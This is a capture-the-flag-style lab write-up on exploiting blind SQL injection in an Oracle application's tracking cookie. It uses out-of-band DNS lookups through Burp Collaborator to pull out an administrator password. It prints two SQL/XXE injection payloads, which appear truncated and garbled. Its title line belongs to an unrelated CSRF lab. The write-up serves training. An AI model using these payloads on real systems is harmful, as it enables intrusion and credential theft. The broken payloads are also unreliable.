CSRF where token is duplicated in cookie

Blind SQL Injection via Tracking Cookie

🎯 Objective

This lab contains a blind SQL injection vulnerability.
The application uses a tracking cookie for analytics and performs an SQL query containing the value of the submitted cookie.

• The SQL query is executed asynchronously and has no effect on the application's response.
• However, you can trigger out-of-band interactions with an external domain.

Database context:

• The database contains a users table with columns: username and password.
• Goal is to extract the password of the administrator user and log in.

📝 End Goals

1. Exploit the SQLi vulnerability to retrieve the password of the administrator user.
2. Log in as the administrator.

🔎 Analysis

• Vulnerable parameter: tracking cookie
• DBMS: Oracle (confirmed from previous exercises).

Step 1: Initial Attempt

Used the Burp Collaborator client to perform a DNS lookup with:

'||(SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual)--

This query did not succeed.

Step 2: Working Payload

Tried the following union-based query instead:

' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual--

This successfully triggered the out-of-band interaction.

Step 3: Verification

Checked the Burp Collaborator polling history and confirmed external DNS interactions:

Then confirmed successful hits inside the Burp Collaborator client:

🎉 Results

Successfully triggered OOB interaction and extracted data.
Password for administrator retrieved. ✅